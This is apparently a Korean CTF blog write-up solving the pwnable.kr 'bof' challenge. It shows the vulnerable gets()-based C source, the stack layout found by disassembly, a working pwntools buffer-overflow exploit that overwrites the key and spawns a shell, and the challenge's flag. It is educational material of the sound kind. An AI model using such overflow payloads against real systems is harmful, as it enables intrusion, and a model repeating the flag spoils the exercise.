2023. 1. 25. 21:17ㆍPwnable/Pwnable.kr
문저 문제의 소스코드를 봐보자.
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
func 함수에서 문자열 overflowme를 32byte 까지 할당 받을 수 있다
그다음 정수형 변수로 선언받은 key 값이 0xcafebabe 로 같아지면 된다.
대놓고 변수명과 문제 이름에서부터 Buffer Over Flow 공격을 하라고 나와있는 문제다.
즉 입력받는 overflowme 변수를 통해 키 값까지의 메모리 영역을 다 덮어버리고 이후 key 값 위치에 0xcafebabe 라는 값이 들어가게 하면 된다.
먼저 pwngdb를 활용하여 key 값 위치와 입력받는 변수 overflowme 변수의 위치를 확인해 볼 필요성이 있다.
func 함수를 디스어셈블리한 값이다.
func + 40 부근에 어셈블리어 cmp를 통해 두개의 값을 비교하는 걸 볼 수 있다. 이중 ebp+0x8 을 0xcafebabe와 비교를 함으로 문제 코드에 맞게 if문 코드와 동일한 부분인 것을 확인할 수 있다.
ebp + 0x8 == Key 로 나타낼 수 있다.
다음은 변수 overflowme 이다.
위는 프린트 하는 부분 근처에 존재할 것이기에 쉽게 찾아낼 수 있을 거 같다.
func + 29 부근인 것을 확인할 수 있다.
이유로는 key 값을 나타내는 곳 바로 위에 있을 뿐더러 해당 부분까지 디버깅을 시도하며 실행시켜보면 다음과 같은 창이 뜬다.
Overflow me : 가 출력되고 이후 gets 함수가 실행되므로 이후 저장값으로 볼 수 있다. 즉 우리가 입력하는 변수의 위치는 ebp - 0x2c가 맞을 것이다.
스택 구조로 생각하면
--Low--
=============================
overflowme[32]
==============================
dummy[12] // 소스코드에서 버퍼는 32byte 로 되어있지만 buffer 값은 ebp - 0x2c 인데 이를 10진수로 계산하면 44 다. 즉 쓰레기 값이 12byte로 함께 있다는 것
==============================
ebp+ret[8]
==============================
key[4]
===============================
--HIGH--
즉 익스플로잇을 52byte를 넣어 덮고 key 값을 0xcafebabe 로 넣으면 될것이다 .
pwntools 을 활용한 exploit 코드는 다음과 같다.
from pwn import *
p = remote("pwnable.kr", 9000)
payload="A" * 52 + "\xbe\xba\xfe\xca"
payload1= "cat flag"
p.sendline(payload)
p.sendline(payload1)
p.interactive()
작동 화면
flag = daddy, I just pwned a buFFer :)
'Pwnable > Pwnable.kr' 카테고리의 다른 글
pwnable.kr - 6 - random (0) | 2023.02.23 |
---|---|
pwnable.kr -5- passcode (0) | 2023.02.23 |
Pwnable.kr - 4 - flag (0) | 2023.01.26 |
Pwnable.kr -2- col (0) | 2023.01.25 |
pwnable.kr - 1 - fd (0) | 2023.01.25 |